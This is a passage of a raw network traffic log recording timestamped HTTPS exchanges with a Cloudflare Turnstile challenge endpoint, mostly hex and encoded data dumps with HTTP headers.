cHxs0zVjUIxmeXDV6dh$xVZd-dpdIf3mVAdX238zjVVdE-dVUfHdAdXf3jVG5dt2w9dMs7dVCd3eVr9smadiO1mLLKU0PsVhhe7xdypszKdtwdp90dVxVpdxHdodVYYxOAo2VvM5-XssLdj2d4gAxoaf87mGcXdmCBdX9dHKsdiAdT9fVWdwaduhwK8dV5AsmPc7KdwGLayCDA3fdrSasdp8uQ$sVYdwjd$JyKdw8dS2dkzAxNN2Vq5fdq3ddzd
2025-03-27 16:00:00 UTC	16384	OUT	Data Raw: 6c 53 33 33 2d 33 73 70 62 54 34 45 5a 37 31 2d 6b 62 79 45 70 65 48 69 4b 49 32 4e 7a 2d 30 55 69 30 31 2d 56 6a 4e 63 34 43 64 55 79 62 63 34 4a 44 4c 48 64 55 24 70 4c 75 65 31 63 72 37 7a 75 4c 4b 39 49 2d 58 32 6a 53 56 45 52 64 2d 55 31 34 44 2d 66 70 73 31 45 41 6f 6f 56 43 73 68 69 68 58 6d 7a 64 6b 52 64 63 73 62 48 41 62 32 50 65 77 53 64 47 77 32 7a 67 4b 66 35 52 61 39 4b 64 47 44 77 4a 56 45 61 67 4b 77 4a 64 36 50 63 4f 38 69 73 50 64 38 73 78 56 6d 5a 64 46 73 72 31 56 24 64 4c 49 6f 33 56 4d 4f 72 73 72 55 70 34 4d 41 73 4f 35 37 77 5a 6a 72 79 4a 64 50 48 65 55 31 5a 4c 66 61 39 55 73 79 61 5a 39 78 77 73 6b 56 4c 78 35 24 56 61 70 33 6d 75 54 33 7a 56 71 4e 69 50 33 2b 52 46 64 62 74 64 6b 64 70 68 33 47 6f 4e 73 30 64 51 4e 64 78 56 4f Data Ascii: lS33-3spbT4EZ71-kbyEpeHiKI2Nz-0Ui01-VjNc4CdUybc4JDLHdU$pLue1cr7zuLK9I-X2jSVERd-U14D-fps1EAooVCshihXmzdkRdcsbHAb2PewSdGw2zgKf5Ra9KdGDwJVEagKwJd6PcO8isPd8sxVmZdFsr1V$dLIo3VMOrsrUp4MAsO57wZjryJdPHeU1ZLfa9UsyaZ9xwskVLx5$Vap3muT3zVqNiP3+RFdbtdkdph3GoNs0dQNdxVO
2025-03-27 16:00:00 UTC	6045	OUT	Data Raw: 59 64 56 65 57 6f 5a 73 77 6b 72 36 44 64 6d 32 64 59 76 49 4d 4c 79 65 6a 58 73 38 71 74 51 2b 45 55 35 46 37 56 53 69 4d 57 54 48 51 6a 41 2d 73 35 35 46 78 4e 58 73 77 55 6d 68 6b 68 56 73 55 57 78 56 41 75 34 7a 63 6a 69 4f 47 4f 48 30 54 2d 66 38 46 57 44 36 51 2b 51 44 66 33 44 56 70 4f 38 43 57 30 68 41 71 2d 37 24 24 71 51 77 6c 5a 4f 39 74 4f 73 53 35 4f 50 2d 68 59 2d 36 24 39 58 4e 75 73 41 63 37 51 53 61 32 75 46 79 4e 33 61 48 51 39 58 56 6f 2d 72 57 44 73 2d 43 64 63 48 7a 4f 6b 56 6a 72 46 51 50 5a 6a 38 71 50 56 6d 56 4f 73 34 7a 53 2b 64 75 61 44 48 61 74 74 48 76 33 75 39 33 42 56 68 49 64 58 36 4d 46 73 45 4b 4f 6d 4d 52 51 4b 51 36 6b 51 59 52 6b 7a 78 37 2d 2d 6d 37 51 24 41 68 4c 47 5a 34 75 65 57 30 64 45 62 46 77 76 4c 64 41 49 24 Data Ascii: YdVeWoZswkr6Ddm2dYvIMLyejXs8qtQ+EU5F7VSiMWTHQjA-s55FxNXswUmhkhVsUWxVAu4zcjiOGOH0T-f8FWD6Q+QDf3DVpO8CW0hAq-7$$qQwlZO9tOsS5OP-hY-6$9XNusAc7QSa2uFyN3aHQ9XVo-rWDs-CdcHzOkVjrFQPZj8qPVmVOs4zS+duaDHattHv3u93BVhIdX6MFsEKOmMRQKQ6kQYRkzx7--m7Q$AhLGZ4ueW0dEbFwvLdAI$
2025-03-27 16:00:00 UTC	322	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 16:00:00 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 28176 Connection: close cf-chl-gen: FGFg87zF25hsG8HWSKb54xKZgi93Q7kH9TcDM9IgYkH+jnErFbYr+Ux1evUzGq2/$HfH2TlJw0Ycjd7/BGfAHLQ== Server: cloudflare CF-RAY: 92701922a9638c84-EWR alt-svc: h3=":443"; ma=86400
2025-03-27 16:00:00 UTC	1047	IN	Data Raw: 55 6c 78 74 65 45 35 33 62 6b 75 50 6a 47 35 56 6a 58 64 74 68 49 31 32 62 57 71 4b 66 6c 78 75 6a 6f 4a 74 58 48 2b 47 68 5a 2b 54 64 36 6c 73 67 35 42 71 71 4c 4f 48 72 59 78 75 73 6e 4b 79 70 6e 6d 59 6c 4a 32 4d 6e 61 4b 63 65 35 6d 75 6f 37 6e 48 77 72 62 45 71 4c 65 6f 71 38 36 48 72 36 44 50 7a 73 4c 41 74 4d 4b 34 7a 72 6e 48 74 5a 6a 62 6e 4e 32 38 34 38 2f 42 6f 65 4f 35 73 36 54 6e 70 2b 6e 49 71 4b 6a 63 71 72 33 4f 30 50 58 7a 38 75 58 30 32 4f 6a 5a 38 74 33 64 34 4f 4c 2b 31 75 37 42 35 73 48 5a 36 4f 55 49 2b 64 76 49 41 74 77 45 38 41 41 46 35 73 34 58 42 39 45 58 31 4e 6b 68 46 52 38 53 32 2b 4d 67 2f 43 6e 37 34 51 63 46 34 77 72 37 43 53 63 52 41 50 30 7a 44 67 49 32 4b 7a 4d 6d 44 68 4c 36 2f 50 6f 73 4c 78 4d 56 48 53 4d 6a 4e 77 42 Data Ascii: UlxteE53bkuPjG5VjXdthI12bWqKflxujoJtXH+GhZ+Td6lsg5BqqLOHrYxusnKypnmYlJ2MnaKce5muo7nHwrbEqLeoq86Hr6DPzsLAtMK4zrnHtZjbnN2848/BoeO5s6Tnp+nIqKjcqr3O0PXz8uX02OjZ8t3d4OL+1u7B5sHZ6OUI+dvIAtwE8AAF5s4XB9EX1NkhFR8S2+Mg/Cn74QcF4wr7CScRAP0zDgI2KzMmDhL6/PosLxMVHSMjNwB
2025-03-27 16:00:00 UTC	1369	IN	Data Raw: 57 6e 31 36 63 6d 71 4e 35 6e 6d 53 50 5a 36 53 53 59 71 61 69 61 6e 65 72 71 32 31 7a 6b 57 64 79 69 59 6d 73 6d 35 75 32 73 33 6c 2b 76 4c 74 39 67 36 47 45 6d 4c 76 43 77 63 4a 39 68 63 71 32 67 59 4c 47 6a 62 47 69 30 71 72 42 30 4e 47 55 73 62 53 36 79 37 6d 63 33 4d 76 4c 33 75 47 6b 7a 2b 4c 61 30 70 32 6c 36 73 48 4e 36 38 54 45 7a 63 7a 49 33 38 33 4e 31 75 66 4e 30 50 6d 37 79 66 72 31 77 4f 76 41 41 65 38 49 78 67 4c 36 44 50 30 42 32 64 63 45 32 67 6b 43 2f 4f 6e 52 31 2f 58 50 42 42 6a 56 47 67 6a 39 33 78 37 64 41 67 30 6a 2b 68 49 68 49 67 6f 43 42 77 73 63 48 41 54 78 2f 52 49 67 37 51 77 31 46 2f 4d 6c 50 52 55 5a 43 76 6f 51 4f 68 34 61 49 53 4d 30 41 51 42 47 43 54 51 4e 52 79 49 59 53 30 77 7a 54 6b 78 51 45 6b 38 6b 54 6a 74 5a 54 79 Data Ascii: Wn16cmqN5nmSPZ6SSYqaianerq21zkWdyiYmsm5u2s3l+vLt9g6GEmLvCwcJ9hcq2gYLGjbGi0qrB0NGUsbS6y7mc3MvL3uGkz+La0p2l6sHN68TEzczI383N1ufN0Pm7yfr1wOvAAe8IxgL6DP0B2dcE2gkC/OnR1/XPBBjVGgj93x7dAg0j+hIhIgoCBwscHATx/RIg7Qw1F/MlPRUZCvoQOh4aISM0AQBGCTQNRyIYS0wzTkxQEk8kTjtZTy
2025-03-27 16:00:00 UTC	1369	IN	Data Raw: 5a 61 4b 69 6d 5a 74 70 70 6e 69 6e 5a 61 78 35 68 57 6d 76 61 6f 6c 74 74 49 43 4e 63 62 69 6e 70 70 43 55 75 70 43 41 6d 5a 75 69 73 34 43 6d 75 49 65 45 78 73 4f 6b 77 4a 32 79 77 5a 36 65 72 4c 62 41 31 61 71 72 72 37 65 56 76 61 75 53 74 71 32 2f 33 38 2f 6e 77 36 47 2f 36 75 48 6b 74 73 2f 76 72 2f 44 79 34 2b 76 74 73 2b 37 35 37 4d 72 78 36 50 66 74 39 65 7a 37 38 4e 66 77 41 50 54 66 39 41 54 34 36 2f 67 49 44 4d 34 44 33 73 37 66 34 76 45 54 34 68 54 32 30 66 7a 32 33 4e 37 39 49 76 66 68 49 52 34 48 39 2f 37 37 41 68 51 42 41 43 73 77 42 51 51 77 2f 51 6b 49 37 78 49 4e 44 50 4d 76 50 43 6f 6e 43 50 46 43 4e 50 6f 6a 42 45 41 77 46 68 46 43 49 51 6b 61 50 43 4a 42 4a 43 51 79 4b 6a 46 47 52 68 56 5a 4b 44 51 5a 58 53 78 4f 48 57 45 71 59 69 46 Data Ascii: ZaKimZtppninZax5hWmvaolttICNcbinppCUupCAmZuis4CmuIeExsOkwJ2ywZ6erLbA1aqrr7eVvauStq2/38/nw6G/6uHkts/vr/Dy4+vts+757Mrx6Pft9ez78NfwAPTf9AT46/gIDM4D3s7f4vET4hT20fz23N79IvfhIR4H9/77AhQBACswBQQw/QkI7xINDPMvPConCPFCNPojBEAwFhFCIQkaPCJBJCQyKjFGRhVZKDQZXSxOHWEqYiF
2025-03-27 16:00:00 UTC	1369	IN	Data Raw: 4b 78 37 64 32 79 77 66 34 74 77 74 49 4f 6c 64 4c 69 42 75 58 69 38 68 6f 64 38 77 49 71 78 67 4d 52 37 78 70 2b 6e 75 36 4b 73 70 6f 69 6b 68 36 2b 71 78 61 62 56 6c 5a 54 52 32 64 65 56 31 61 69 63 6c 64 79 70 74 5a 6e 66 6d 72 6d 64 35 4c 43 39 6f 65 6a 58 31 72 2b 76 36 73 43 77 79 63 37 53 34 37 44 6c 37 74 72 7a 75 76 6d 77 36 66 72 33 30 73 4c 39 34 2b 58 7a 34 65 6e 34 79 74 76 44 7a 4e 30 52 2f 52 54 72 44 52 4d 49 36 51 45 50 46 4f 76 6e 37 42 6a 76 37 50 41 63 38 2f 4c 30 49 50 72 65 2b 76 4d 59 42 76 59 69 41 78 2f 76 45 42 38 44 45 6a 51 4d 4c 50 55 77 2b 77 66 38 2b 68 45 4d 4e 6a 4e 45 4e 6a 64 48 51 69 55 35 4d 77 73 69 51 45 34 62 4c 6a 74 53 49 44 30 6f 49 53 68 53 4a 43 4e 4f 56 53 78 65 51 42 6f 32 4c 7a 4a 46 55 45 63 36 51 56 6b 6c Data Ascii: Kx7d2ywf4twtIOldLiBuXi8hod8wIqxgMR7xp+nu6Kspoikh6+qxabVlZTR2deV1aicldyptZnfmrmd5LC9oejX1r+v6sCwyc7S47Dl7trzuvmw6fr30sL94+Xz4en4ytvDzN0R/RTrDRMI6QEPFOvn7Bjv7PAc8/L0IPre+vMYBvYiAx/vEB8DEjQMLPUw+wf8+hEMNjNENjdHQiU5MwsiQE4bLjtSID0oIShSJCNOVSxeQBo2LzJFUEc6QVkl
2025-03-27 16:00:00 UTC	1369	IN	Data Raw: 2b 65 67 70 47 7a 6a 62 43 50 65 4a 43 48 72 62 79 61 77 5a 75 42 6a 38 57 66 68 49 62 4a 6f 34 6d 54 7a 61 65 4f 69 38 4b 4a 72 39 43 2f 69 36 53 67 70 62 69 30 32 71 6e 54 7a 62 4f 37 6d 63 48 64 6f 37 72 6d 35 61 4c 69 76 4d 6e 44 76 2b 66 46 79 4d 37 66 38 39 58 74 33 39 48 4c 74 66 72 37 36 76 44 59 75 4e 72 64 7a 75 37 4f 2b 38 54 39 78 74 30 49 36 50 58 63 31 2f 6e 6b 33 73 30 53 41 2b 44 54 45 68 6f 4d 35 2f 72 62 47 78 6a 70 48 78 4c 34 44 68 38 64 43 4f 38 6b 43 41 6f 63 43 51 34 65 39 77 44 35 4c 2f 41 48 43 78 38 68 46 77 49 6b 45 68 63 62 4c 44 77 41 50 51 42 45 2f 68 6b 5a 48 69 41 63 43 53 49 70 4b 7a 78 51 41 30 77 6d 48 69 55 53 56 31 68 4d 54 46 74 51 58 6c 41 73 50 79 42 54 4d 31 42 61 57 42 6c 6d 59 31 38 6e 53 47 68 61 52 56 41 35 61 Data Ascii: +egpGzjbCPeJCHrbyawZuBj8WfhIbJo4mTzaeOi8KJr9C/i6Sgpbi02qnTzbO7mcHdo7rm5aLivMnDv+fFyM7f89Xt39HLtfr76vDYuNrdzu7O+8T9xt0I6PXc1/nk3s0SA+DTEhoM5/rbGxjpHxL4Dh8dCO8kCAocCQ4e9wD5L/AHCx8hFwIkEhcbLDwAPQBE/hkZHiAcCSIpKzxQA0wmHiUSV1hMTFtQXlAsPyBTM1BaWBlmY18nSGhaRVA5a
2025-03-27 16:00:00 UTC	1369	IN	Data Raw: 77 6c 6e 75 6e 69 4a 47 52 6c 4b 79 63 75 59 53 78 75 59 4a 2f 79 62 79 2f 70 35 61 6a 72 4d 2b 6a 72 63 33 4f 6f 4b 43 57 32 61 2f 62 74 39 57 77 73 4e 4f 67 79 70 7a 56 72 4c 7a 65 36 4f 58 6a 30 38 48 42 74 75 48 61 34 61 50 43 30 63 4c 4e 74 76 58 74 38 62 6a 44 76 50 62 53 78 2f 44 7a 41 74 62 68 37 66 62 43 77 74 73 41 2b 63 76 58 35 77 6f 53 32 38 73 54 42 75 58 31 42 75 6e 6b 34 75 73 4c 42 78 50 79 36 43 48 38 41 67 55 47 35 64 34 47 4a 50 30 48 4a 75 55 5a 35 54 48 6a 37 7a 51 6c 4d 77 38 43 37 67 6e 32 4b 44 4d 31 47 78 38 30 43 76 6e 38 49 68 6f 53 2f 67 41 6b 4b 69 55 75 4b 30 38 59 51 53 6b 7a 48 67 73 6c 45 30 52 50 55 54 63 37 55 53 59 57 47 54 34 32 50 68 73 63 50 6a 59 39 4d 55 56 49 49 32 55 2b 59 43 6b 35 62 33 49 6d 56 47 35 4a 56 55 Data Ascii: wlnuniJGRlKycuYSxuYJ/yby/p5ajrM+jrc3OoKCW2a/bt9WwsNOgypzVrLze6OXj08HBtuHa4aPC0cLNtvXt8bjDvPbSx/DzAtbh7fbCwtsA+cvX5woS28sTBuX1Bunk4usLBxPy6CH8AgUG5d4GJP0HJuUZ5THj7zQlMw8C7gn2KDM1Gx80Cvn8IhoS/gAkKiUuK08YQSkzHgslE0RPUTc7USYWGT42PhscPjY9MUVII2U+YCk5b3ImVG5JVU
2025-03-27 16:00:00 UTC	1369	IN	Data Raw: 75 35 66 43 77 63 47 5a 74 6f 39 36 6d 73 72 46 68 61 43 6f 69 73 32 68 73 4d 71 53 76 71 54 53 30 4d 54 4c 79 74 69 39 33 36 69 53 79 5a 7a 45 6f 4d 36 30 70 36 44 55 32 37 54 63 77 72 76 5a 37 64 48 51 72 36 37 64 35 2b 62 67 79 62 48 48 38 63 37 2b 36 66 7a 54 33 50 33 38 32 4e 44 31 39 74 37 55 39 66 72 63 44 73 34 4c 35 4e 7a 4b 44 2b 6a 67 41 73 2f 72 39 41 6f 58 37 42 38 53 47 66 50 38 49 69 44 32 4b 41 41 67 2b 43 73 69 49 67 44 34 48 68 34 45 4d 2b 6f 73 43 77 44 32 4e 51 73 36 2b 69 73 52 47 53 6f 39 46 42 34 63 4f 68 68 48 4e 6a 63 5a 53 77 4e 44 48 55 34 50 53 43 63 64 53 6b 38 6f 56 30 70 56 4c 44 56 57 57 44 45 70 4b 42 67 30 55 79 78 67 4f 44 45 66 5a 54 78 46 59 6d 55 2f 63 45 68 6f 52 57 4e 71 62 30 68 52 51 47 35 4d 52 55 52 7a 55 30 6c Data Ascii: u5fCwcGZto96msrFhaCois2hsMqSvqTS0MTLyti936iSyZzEoM60p6DU27TcwrvZ7dHQr67d5+bgybHH8c7+6fzT3P382ND19t7U9frcDs4L5NzKD+jgAs/r9AoX7B8SGfP8IiD2KAAg+CsiIgD4Hh4EM+osCwD2NQs6+isRGSo9FB4cOhhHNjcZSwNDHU4PSCcdSk8oV0pVLDVWWDEpKBg0UyxgODEfZTxFYmU/cEhoRWNqb0hRQG5MRURzU0l

Timestamp	Bytes transferred	Direction	Data
2025-03-27 16:00:00 UTC	639	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1724061149:1743089315:EMoHy6tP5s_faUJaiGGQjDzpUCZ-IXmoKjRPKtyfjNU/92701908ae6742b3/QGMTvrxpL04SD86C4DCU3cAz_O2wDlGKriHirMKJqc0-1743091196-1.1.1.1-x2CMD_19YFVLezhV63fRsMpm9knHTAFOF6LoQppvyzb_aY7ejnw9vfi4rxdcO5XZ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 16:00:01 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Thu, 27 Mar 2025 16:00:01 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: u7SXlmN5o8f4f3L8HrX0OUAAKZyQ8ccI1RXLH/G4AO/UmzjzDsMjvRMQWqvMrqPu7GuigEWPSl6OZ4/HdatMAw==$3KNouBpY4oH6J/s2tQFoZA== Server: cloudflare CF-RAY: 92701926ec473869-EWR alt-svc: h3=":443"; ma=86400
2025-03-27 16:00:01 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}

Timestamp	Bytes transferred	Direction	Data
2025-03-27 16:00:03 UTC	1193	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1724061149:1743089315:EMoHy6tP5s_faUJaiGGQjDzpUCZ-IXmoKjRPKtyfjNU/92701908ae6742b3/QGMTvrxpL04SD86C4DCU3cAz_O2wDlGKriHirMKJqc0-1743091196-1.1.1.1-x2CMD_19YFVLezhV63fRsMpm9knHTAFOF6LoQppvyzb_aY7ejnw9vfi4rxdcO5XZ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 41272 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: QGMTvrxpL04SD86C4DCU3cAz_O2wDlGKriHirMKJqc0-1743091196-1.1.1.1-x2CMD_19YFVLezhV63fRsMpm9knHTAFOF6LoQppvyzb_aY7ejnw9vfi4rxdcO5XZ cf-chl-ra: 0 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/zz6pz/0x4AAAAAABCuJE5Ktf6oSQ3-/light/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 16:00:03 UTC	16384	OUT	Data Raw: 63 48 78 73 30 7a 56 6a 55 49 78 6d 65 58 44 56 36 64 68 24 78 56 5a 64 2d 64 70 64 49 66 33 6d 56 41 64 58 32 33 38 7a 6a 56 56 64 45 2d 64 56 55 66 48 64 41 64 58 66 33 6a 56 47 35 64 74 32 77 39 64 4d 73 37 64 56 43 64 33 65 56 72 39 73 6d 61 64 69 4f 31 6d 4c 4c 4b 55 30 50 73 56 68 68 65 37 78 64 79 70 73 7a 4b 64 74 77 64 70 39 30 64 56 78 56 70 64 78 48 64 6f 64 56 59 59 78 4f 41 6f 32 56 76 4d 35 2d 58 73 73 4c 64 6a 32 64 34 67 41 78 6f 61 66 38 37 6d 47 63 58 64 6d 43 42 64 58 39 64 48 4b 73 64 69 41 64 54 39 66 56 57 64 77 61 64 75 68 77 4b 38 64 56 35 41 73 6d 50 63 37 4b 64 77 47 4c 61 79 43 44 41 33 66 64 72 53 61 73 64 70 38 75 51 24 73 56 59 64 77 6a 64 24 4a 79 4b 64 77 38 64 53 32 64 6b 7a 41 78 4e 4e 32 56 71 35 66 64 71 33 64 64 7a 64 Data Ascii: cHxs0zVjUIxmeXDV6dh$xVZd-dpdIf3mVAdX238zjVVdE-dVUfHdAdXf3jVG5dt2w9dMs7dVCd3eVr9smadiO1mLLKU0PsVhhe7xdypszKdtwdp90dVxVpdxHdodVYYxOAo2VvM5-XssLdj2d4gAxoaf87mGcXdmCBdX9dHKsdiAdT9fVWdwaduhwK8dV5AsmPc7KdwGLayCDA3fdrSasdp8uQ$sVYdwjd$JyKdw8dS2dkzAxNN2Vq5fdq3ddzd
2025-03-27 16:00:03 UTC	16384	OUT	Data Raw: 6c 53 33 33 2d 33 73 70 62 54 34 45 5a 37 31 2d 6b 62 79 45 70 65 48 69 4b 49 32 4e 7a 2d 30 55 69 30 31 2d 56 6a 4e 63 34 43 64 55 79 62 63 34 4a 44 4c 48 64 55 24 70 4c 75 65 31 63 72 37 7a 75 4c 4b 39 49 2d 58 32 6a 53 56 45 52 64 2d 55 31 34 44 2d 66 70 73 31 45 41 6f 6f 56 43 73 68 69 68 58 6d 7a 64 6b 52 64 63 73 62 48 41 62 32 50 65 77 53 64 47 77 32 7a 67 4b 66 35 52 61 39 4b 64 47 44 77 4a 56 45 61 67 4b 77 4a 64 36 50 63 4f 38 69 73 50 64 38 73 78 56 6d 5a 64 46 73 72 31 56 24 64 4c 49 6f 33 56 4d 4f 72 73 72 55 70 34 4d 41 73 4f 35 37 77 5a 6a 72 79 4a 64 50 48 65 55 31 5a 4c 66 61 39 55 73 79 61 5a 39 78 77 73 6b 56 4c 78 35 24 56 61 70 33 6d 75 54 33 7a 56 71 4e 69 50 33 2b 52 46 64 62 74 64 6b 64 70 68 33 47 6f 4e 73 30 64 51 4e 64 78 56 4f Data Ascii: lS33-3spbT4EZ71-kbyEpeHiKI2Nz-0Ui01-VjNc4CdUybc4JDLHdU$pLue1cr7zuLK9I-X2jSVERd-U14D-fps1EAooVCshihXmzdkRdcsbHAb2PewSdGw2zgKf5Ra9KdGDwJVEagKwJd6PcO8isPd8sxVmZdFsr1V$dLIo3VMOrsrUp4MAsO57wZjryJdPHeU1ZLfa9UsyaZ9xwskVLx5$Vap3muT3zVqNiP3+RFdbtdkdph3GoNs0dQNdxVO
2025-03-27 16:00:03 UTC	8504	OUT	Data Raw: 59 64 56 65 57 6f 5a 73 77 6b 72 36 44 64 6d 32 64 59 76 49 4d 4c 79 65 6a 58 73 38 71 74 51 2b 45 55 35 46 37 56 53 69 4d 57 54 48 51 6a 41 2d 73 35 35 46 78 4e 58 73 77 55 6d 68 6b 68 56 73 55 57 78 56 41 75 34 7a 63 6a 69 4f 47 4f 48 30 54 2d 66 38 46 57 44 36 51 2b 51 44 66 33 44 56 70 4f 38 43 57 30 68 41 71 2d 37 24 24 71 51 77 6c 5a 4f 39 74 4f 73 53 35 4f 50 2d 68 59 2d 36 24 39 58 4e 75 73 41 63 37 51 53 61 32 75 46 79 4e 33 61 48 51 39 58 56 6f 2d 72 57 44 73 2d 43 64 63 48 7a 4f 6b 56 6a 72 46 51 50 5a 6a 38 71 50 56 6d 56 4f 73 34 7a 53 2b 64 75 61 44 48 61 74 74 48 76 33 75 39 33 42 56 68 49 64 58 36 4d 46 73 45 4b 4f 6d 4d 52 51 4b 51 36 6b 51 59 52 6b 7a 78 37 2d 2d 6d 37 51 24 41 68 4c 47 5a 34 75 65 57 30 64 45 62 46 77 76 4c 64 41 49 24 Data Ascii: YdVeWoZswkr6Ddm2dYvIMLyejXs8qtQ+EU5F7VSiMWTHQjA-s55FxNXswUmhkhVsUWxVAu4zcjiOGOH0T-f8FWD6Q+QDf3DVpO8CW0hAq-7$$qQwlZO9tOsS5OP-hY-6$9XNusAc7QSa2uFyN3aHQ9XVo-rWDs-CdcHzOkVjrFQPZj8qPVmVOs4zS+duaDHattHv3u93BVhIdX6MFsEKOmMRQKQ6kQYRkzx7--m7Q$AhLGZ4ueW0dEbFwvLdAI$
2025-03-27 16:00:04 UTC	282	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 16:00:04 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 5004 Connection: close cf-chl-out: 4LZtdj/2LH8DwFCx35VWqJo2nY0yso3H/+kZaiNzMO03GmhqlqsQgsXbY39Rs1q6N0I1nUp73gsJQ7Gj9rHfdbVJGXxf8CA8gT/5X+BTP44=$URIExaM6mvizf0qEA9Mryw==
2025-03-27 16:00:04 UTC	1403	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 2d 73 3a 20 6b 6c 77 6d 55 52 36 49 63 78 74 32 6e 79 70 2b 71 76 76 77 64 42 42 30 36 74 4a 5a 36 6c 37 4d 6a 63 71 67 4d 62 46 30 71 75 59 78 33 49 76 4d 38 65 74 30 51 32 33 35 73 62 63 55 32 6a 50 7a 35 62 5a 48 68 43 45 35 42 79 47 35 64 69 30 4d 44 6b 64 38 78 33 43 7a 54 5a 69 38 74 46 39 53 52 65 73 4f 51 33 48 4b 66 76 39 5a 50 36 38 32 67 53 33 6c 2f 32 58 72 78 65 39 68 67 4f 62 33 62 35 78 51 50 78 36 63 72 75 64 78 53 66 50 64 58 6e 6b 31 31 6d 6e 65 36 4f 4d 5a 78 78 63 77 78 36 69 32 4d 77 6b 33 36 7a 34 4c 4c 55 46 54 4e 6a 68 44 6a 53 51 44 75 56 68 33 70 46 76 64 69 62 70 6f 67 47 43 77 72 4d 61 75 31 67 38 5a 59 6e 2b 6d 75 46 6c 48 6a 45 31 73 5a 73 45 4e 71 43 46 4d 57 46 47 78 45 57 68 4d 31 59 79 50 54 Data Ascii: cf-chl-out-s: klwmUR6Icxt2nyp+qvvwdBB06tJZ6l7MjcqgMbF0quYx3IvM8et0Q235sbcU2jPz5bZHhCE5ByG5di0MDkd8x3CzTZi8tF9SResOQ3HKfv9ZP682gS3l/2Xrxe9hgOb3b5xQPx6crudxSfPdXnk11mne6OMZxxcwx6i2Mwk36z4LLUFTNjhDjSQDuVh3pFvdibpogGCwrMau1g8ZYn+muFlHjE1sZsENqCFMWFGxEWhM1YyPT
2025-03-27 16:00:04 UTC	1053	IN	Data Raw: 55 6c 78 74 65 45 35 33 62 6b 75 50 6a 47 35 56 6a 58 64 74 68 49 31 32 56 4a 6d 4a 66 6e 6c 64 67 4b 4f 58 65 46 78 79 68 70 53 71 67 4a 6c 2f 5a 32 2b 5a 68 57 39 74 73 47 32 43 71 35 57 61 6d 61 2b 5a 6e 70 71 4d 6d 62 53 66 6e 37 4f 5a 72 6f 48 41 67 5a 57 43 68 4b 53 74 6e 49 69 36 72 61 47 55 76 37 36 52 7a 4a 47 70 74 35 54 62 75 71 76 58 6d 61 79 78 33 36 44 68 77 4f 65 39 78 38 69 35 31 73 76 6a 36 36 76 74 7a 4b 7a 47 30 39 50 7a 79 39 6a 59 39 2f 62 70 2b 4e 7a 61 33 4f 41 41 32 65 2f 54 79 4f 54 6f 77 2b 6e 67 36 64 30 4d 79 51 37 73 35 65 58 7a 38 77 7a 74 42 64 4d 59 37 76 6a 38 44 41 30 42 34 69 4d 54 35 50 6a 61 41 78 37 69 37 41 72 70 41 51 73 47 48 69 55 4c 4b 2f 4d 41 39 41 66 77 45 66 73 34 48 76 55 58 48 43 41 78 2f 53 4d 36 50 67 49 Data Ascii: UlxteE53bkuPjG5VjXdthI12VJmJfnldgKOXeFxyhpSqgJl/Z2+ZhW9tsG2Cq5Wama+ZnpqMmbSfn7OZroHAgZWChKStnIi6raGUv76RzJGpt5TbuqvXmayx36DhwOe9x8i51svj66vtzKzG09Pzy9jY9/bp+Nza3OAA2e/TyOTow+ng6d0MyQ7s5eXz8wztBdMY7vj8DA0B4iMT5PjaAx7i7ArpAQsGHiULK/MA9AfwEfs4HvUXHCAx/SM6PgI
2025-03-27 16:00:04 UTC	1369	IN	Data Raw: 6d 4a 30 66 33 47 6c 70 33 36 72 66 35 57 43 72 4a 35 2f 68 59 70 76 69 59 43 52 62 6e 57 44 67 6e 4b 6c 6a 70 68 2b 6e 35 53 63 73 59 4f 53 74 70 65 6e 6c 4b 54 4a 70 36 44 50 78 59 79 6a 77 4a 4b 52 70 71 2b 7a 71 61 37 62 32 5a 61 72 33 37 2b 30 76 4b 32 72 6c 72 7a 41 32 64 75 2b 32 65 6d 65 78 2b 43 6d 75 73 54 4f 33 63 66 52 39 75 57 34 30 2f 6e 63 7a 73 33 49 7a 37 4c 56 39 41 4c 54 30 4f 45 43 34 74 62 6c 43 67 66 66 2f 65 76 68 35 2b 37 62 30 4f 66 69 46 76 62 75 30 51 62 32 37 74 55 50 37 2b 2f 38 38 2b 34 41 4a 53 4c 79 39 42 6b 65 34 67 51 49 2f 41 77 4e 4a 42 41 45 43 53 6a 75 36 68 51 36 45 43 63 59 50 7a 6f 4a 47 42 73 2b 41 78 51 69 41 7a 6b 59 4a 41 73 67 47 43 73 48 55 69 6c 42 54 78 30 67 4e 43 38 50 4d 54 52 61 56 6a 67 37 56 69 41 35 Data Ascii: 